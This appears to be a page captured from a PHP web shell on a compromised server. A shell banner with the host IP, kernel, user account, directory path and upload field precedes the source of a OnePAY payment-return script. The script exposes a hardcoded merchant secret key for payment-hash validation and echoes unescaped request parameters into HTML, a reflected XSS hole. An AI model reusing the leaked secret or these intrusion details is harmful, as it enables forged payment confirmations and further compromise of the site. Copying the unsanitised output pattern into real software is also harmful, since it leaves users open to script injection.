ÿØÿà JFIF H H ÿÛ C ÿÛ Cÿ " ÿÄ ÿÄ ÿÚ ±5¬€ ÿÄ àÿÚ ÿÄ ÀÿÚ ? ÿÄ ÀÿÚ ? ÿÄ àÿÚ ? ÿÄ àÿÚ ?! ÿÚ ÿÄ ÀÿÚ ? ÿÄ ÀÿÚ ? ÿÄ àÿÚ ? ÿÙ
| Server IP : 160.25.81.117 / Your IP : 216.73.216.137 Web Server : Apache/2 System : Linux sv05.hilab.cloud 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64 User : bellizen ( 1045) PHP Version : 7.2.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/bellizen/domains/bellizeno.com/private_html/vaoday/quocte_php/ |
Upload File : |
<?php
// *********************
// START OF MAIN PROGRAM
// *********************
// Define Constants
// ----------------
// This is secret for encoding the MD5 hash
// This secret will vary from merchant to merchant
// To not create a secure hash, let SECURE_SECRET be an empty string - ""
// $SECURE_SECRET = "secure-hash-secret";
$SECURE_SECRET = "6D0870CDE5F24F34F3915FB0045120DB";
// get and remove the vpc_TxnResponseCode code from the response fields as we
// do not want to include this field in the hash calculation
$vpc_Txn_Secure_Hash = $_GET["vpc_SecureHash"];
$vpc_MerchTxnRef = $_GET["vpc_MerchTxnRef"];
$vpc_AcqResponseCode = $_GET["vpc_AcqResponseCode"];
unset($_GET["vpc_SecureHash"]);
// set a flag to indicate if hash has been validated
$errorExists = false;
if (strlen($SECURE_SECRET) > 0 && $_GET["vpc_TxnResponseCode"] != "7" && $_GET["vpc_TxnResponseCode"] != "No Value Returned") {
ksort($_GET);
//$md5HashData = $SECURE_SECRET;
//khởi tạo chuỗi mã hóa rỗng
$md5HashData = "";
// sort all the incoming vpc response fields and leave out any with no value
foreach ($_GET as $key => $value) {
// if ($key != "vpc_SecureHash" or strlen($value) > 0) {
// $md5HashData .= $value;
// }
// chỉ lấy các tham số bắt đầu bằng "vpc_" hoặc "user_" và khác trống và không phải chuá»—i hash code trả vá»
if ($key != "vpc_SecureHash" && (strlen($value) > 0) && ((substr($key, 0,4)=="vpc_") || (substr($key,0,5) =="user_"))) {
$md5HashData .= $key . "=" . $value . "&";
}
}
// Xóa dấu & thừa cuối chuỗi dữ liệu
$md5HashData = rtrim($md5HashData, "&");
// if (strtoupper ( $vpc_Txn_Secure_Hash ) == strtoupper ( md5 ( $md5HashData ) )) {
// Thay hà m tạo chuỗi mã hóa
if (strtoupper ( $vpc_Txn_Secure_Hash ) == strtoupper(hash_hmac('SHA256', $md5HashData, pack('H*',$SECURE_SECRET)))) {
// Secure Hash validation succeeded, add a data field to be displayed
// later.
$hashValidated = "CORRECT";
} else {
// Secure Hash validation failed, add a data field to be displayed
// later.
$hashValidated = "INVALID HASH";
}
} else {
// Secure Hash was not validated, add a data field to be displayed later.
$hashValidated = "INVALID HASH";
}
// Define Variables
// ----------------
// Extract the available receipt fields from the VPC Response
// If not present then let the value be equal to 'No Value Returned'
// Standard Receipt Data
$amount = null2unknown($_GET["vpc_Amount"]);
$locale = null2unknown($_GET["vpc_Locale"]);
$batchNo = null2unknown($_GET["vpc_BatchNo"]);
$command = null2unknown($_GET["vpc_Command"]);
$message = null2unknown($_GET["vpc_Message"]);
$version = null2unknown($_GET["vpc_Version"]);
$cardType = null2unknown($_GET["vpc_Card"]);
$orderInfo = null2unknown($_GET["vpc_OrderInfo"]);
$receiptNo = null2unknown($_GET["vpc_ReceiptNo"]);
$merchantID = null2unknown($_GET["vpc_Merchant"]);
//$authorizeID = null2unknown($_GET["vpc_AuthorizeId"]);
$merchTxnRef = null2unknown($_GET["vpc_MerchTxnRef"]);
$transactionNo = null2unknown($_GET["vpc_TransactionNo"]);
$acqResponseCode = null2unknown($_GET["vpc_AcqResponseCode"]);
$txnResponseCode = null2unknown($_GET["vpc_TxnResponseCode"]);
// 3-D Secure Data
$verType = array_key_exists("vpc_VerType", $_GET) ? $_GET["vpc_VerType"] : "No Value Returned";
$verStatus = array_key_exists("vpc_VerStatus", $_GET) ? $_GET["vpc_VerStatus"] : "No Value Returned";
$token = array_key_exists("vpc_VerToken", $_GET) ? $_GET["vpc_VerToken"] : "No Value Returned";
$verSecurLevel = array_key_exists("vpc_VerSecurityLevel", $_GET) ? $_GET["vpc_VerSecurityLevel"] : "No Value Returned";
$enrolled = array_key_exists("vpc_3DSenrolled", $_GET) ? $_GET["vpc_3DSenrolled"] : "No Value Returned";
$xid = array_key_exists("vpc_3DSXID", $_GET) ? $_GET["vpc_3DSXID"] : "No Value Returned";
$acqECI = array_key_exists("vpc_3DSECI", $_GET) ? $_GET["vpc_3DSECI"] : "No Value Returned";
$authStatus = array_key_exists("vpc_3DSstatus", $_GET) ? $_GET["vpc_3DSstatus"] : "No Value Returned";
// *******************
// END OF MAIN PROGRAM
// *******************
// FINISH TRANSACTION - Process the VPC Response Data
// =====================================================
// For the purposes of demonstration, we simply display the Result fields on a
// web page.
// Show 'Error' in title if an error condition
$errorTxt = "";
// Show this page as an error page if vpc_TxnResponseCode equals '7'
if ($txnResponseCode == "7" || $txnResponseCode == "No Value Returned" || $errorExists) {
$errorTxt = "Error ";
}
// This is the display title for 'Receipt' page
$title = $_GET["Title"];
// The URL link for the receipt to do another transaction.
// Note: This is ONLY used for this example and is not required for
// production code. You would hard code your own URL into your application
// to allow customers to try another transaction.
//TK//$againLink = URLDecode($_GET["AgainLink"]);
$transStatus = "";
if($hashValidated=="CORRECT" && $txnResponseCode=="0"){
$transStatus = "Giao dịch thà nh công";
}elseif ($hashValidated=="INVALID HASH" && $txnResponseCode=="0"){
$transStatus = "Giao dịch Pendding";
}else {
$transStatus = "Giao dịch thất bại";
}
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title><?php echo $title;?> - <?php echo $errorTxt;?>Response Page</title>
<meta http-equiv="Content-Type" content="text/html, charset=utf8">
<style type="text/css">
<!--
h1 {
font-family: Arial, sans-serif;
font-size: 24pt;
color: #08185A;
font-weight: 100
}
h2.co {
font-family: Arial, sans-serif;
font-size: 24pt;
color: #08185A;
margin-top: 0.1em;
margin-bottom: 0.1em;
font-weight: 100
}
h3.co {
font-family: Arial, sans-serif;
font-size: 16pt;
color: #000000;
margin-top: 0.1em;
margin-bottom: 0.1em;
font-weight: 100
}
body {
font-family: Verdana, Arial, sans-serif;
font-size: 10pt;
color: #08185A background-color: #FFFFFF
}
a:link {
font-family: Verdana, Arial, sans-serif;
font-size: 8pt;
color: #08185A
}
a:visited {
font-family: Verdana, Arial, sans-serif;
font-size: 8pt;
color: #08185A
}
a:hover {
font-family: Verdana, Arial, sans-serif;
font-size: 8pt;
color: #FF0000
}
a:active {
font-family: Verdana, Arial, sans-serif;
font-size: 8pt;
color: #FF0000
}
tr.title {
height: 25px;
background-color: #0074C4
}
td {
font-family: Verdana, Arial, sans-serif;
font-size: 8pt;
color: #08185A
}
th {
font-family: Verdana, Arial, sans-serif;
font-size: 10pt;
color: #08185A;
font-weight: bold;
background-color: #CED7EF;
padding-top: 0.5em;
padding-bottom: 0.5em
}
input {
font-family: Verdana, Arial, sans-serif;
font-size: 8pt;
color: #08185A;
background-color: #CED7EF;
font-weight: bold
}
#background-image {
font-family: "Lucida Sans Unicode", "Lucida Grande", Sans-Serif;
font-size: 12px;
width: 80%;
text-align: left;
border-collapse: collapse;
background: url("...") 330px 59px no-repeat;
margin: 20px;
}
#background-image th {
font-weight: normal;
font-size: 14px;
color: #339;
padding: 12px;
}
#background-image td {
color: #669;
border-top: 1px solid #fff;
padding: 9px 12px;
}
#background-image tfoot td {
font-size: 11px;
}
#background-image tbody td {
background: url("./back.png");
}
* html
#background-image tbody td {
filter: progid:DXImageTransform.Microsoft.AlphaImageLoader(src = 'table-images/back.png', sizingMethod = 'crop' );
background: none;
}
#background-image tbody tr:hover td {
color: #339;
background: none;
}
-->
</style>
</head>
<body>
<table width='100%' border='2' cellpadding='2' bgcolor='#0074C4'>
<tr>
<td bgcolor='#CED7EF' width='90%'>
<h2 class='co'> Payment Client Example</h2>
</td>
<td bgcolor='#0074C4' align='center'>
<h3 class='co'>OnePAY</h3>
</td>
</tr>
</table>
<center>
<h1><?php echo $transStatus;?></h1>
</center>
<center>
<table id="background-image" summary="Meeting Results">
<thead>
<tr>
<th scope="col">Name</th>
<th scope="col">Value</th>
<th scope="col">Description</th>
</tr>
</thead>
<tfoot>
<tr>
<td align="center" colspan="4"></td>
</tr>
</tfoot>
<tbody>
<tr>
<td><strong><i>Merchant ID </i></strong></td>
<td><?php
echo $merchantID;
?></td>
<td>ÄÆ°á»£c cấp bởi OnePAY</td>
</tr>
<tr>
<td><strong><i>Merchant Transaction Reference</i></strong></td>
<td><?php
echo $merchTxnRef;
?></td>
<td>ID cá»§a giao dịch gá»i từ website merchant</td>
</tr>
<tr>
<td><strong><i>Transaction OrderInfo</i></strong></td>
<td><?php
echo $orderInfo;
?></td>
<td>Tên hóa đơn</td>
</tr>
<tr>
<td><strong><i>Purchase Amount</i></strong></td>
<td><?php
echo $amount;
?></td>
<td>Số tiá»n được thanh toán</td>
</tr>
<tr>
<td><strong><i>VPC Transaction Response Code </i></strong></td>
<td><?php
echo $txnResponseCode;
?></td>
<td>Mã trạng thái giao dịch trả vá»</td>
</tr>
<tr>
<td><strong><i>Transaction Response Code Description </i></strong></td>
<td><?php echo getResponseDescription($txnResponseCode);
?></td>
<td>Trạng thái giao dịch</td>
</tr>
<tr>
<td><strong><i>Message</i></strong></td>
<td><?php
echo $message;
?></td>
<td>Thông báo từ cổng thanh toán</td>
</tr>
<?php
// only display the following fields if not an error condition
if ($txnResponseCode != "7" && $txnResponseCode != "No Value Returned") {
?>
<tr>
<td><strong><i>Transaction Number</i></strong></td>
<td><?php
echo $transactionNo;
?></td>
<td>ID giao dịch trên cổng thanh toán</td>
</tr>
<?php
}
?>
</tbody>
</table>
</center>
</body>
</html>
<?php
// End Processing
// This method uses the QSI Response code retrieved from the Digital
// Receipt and returns an appropriate description for the QSI Response Code
//
// @param $responseCode String containing the QSI Response Code
//
// @return String containing the appropriate description
//
function getResponseDescription($responseCode)
{
switch ($responseCode) {
case "0" :
$result = "Transaction Successful";
break;
case "?" :
$result = "Transaction status is unknown";
break;
case "1" :
$result = "Bank system reject";
break;
case "2" :
$result = "Bank Declined Transaction";
break;
case "3" :
$result = "No Reply from Bank";
break;
case "4" :
$result = "Expired Card";
break;
case "5" :
$result = "Insufficient funds";
break;
case "6" :
$result = "Error Communicating with Bank";
break;
case "7" :
$result = "Payment Server System Error";
break;
case "8" :
$result = "Transaction Type Not Supported";
break;
case "9" :
$result = "Bank declined transaction (Do not contact Bank)";
break;
case "A" :
$result = "Transaction Aborted";
break;
case "C" :
$result = "Transaction Cancelled";
break;
case "D" :
$result = "Deferred transaction has been received and is awaiting processing";
break;
case "F" :
$result = "3D Secure Authentication failed";
break;
case "I" :
$result = "Card Security Code verification failed";
break;
case "L" :
$result = "Shopping Transaction Locked (Please try the transaction again later)";
break;
case "N" :
$result = "Cardholder is not enrolled in Authentication scheme";
break;
case "P" :
$result = "Transaction has been received by the Payment Adaptor and is being processed";
break;
case "R" :
$result = "Transaction was not processed - Reached limit of retry attempts allowed";
break;
case "S" :
$result = "Duplicate SessionID (OrderInfo)";
break;
case "T" :
$result = "Address Verification Failed";
break;
case "U" :
$result = "Card Security Code Failed";
break;
case "V" :
$result = "Address Verification and Card Security Code Failed";
break;
case "99" :
$result = "User Cancel";
break;
default :
$result = "Unable to be determined";
}
return $result;
}
// If input is null, returns string "No Value Returned", else returns input
function null2unknown($data)
{
if ($data == "") {
return "No Value Returned";
} else {
return $data;
}
}
// ----------------------------------------------------------------------------
?>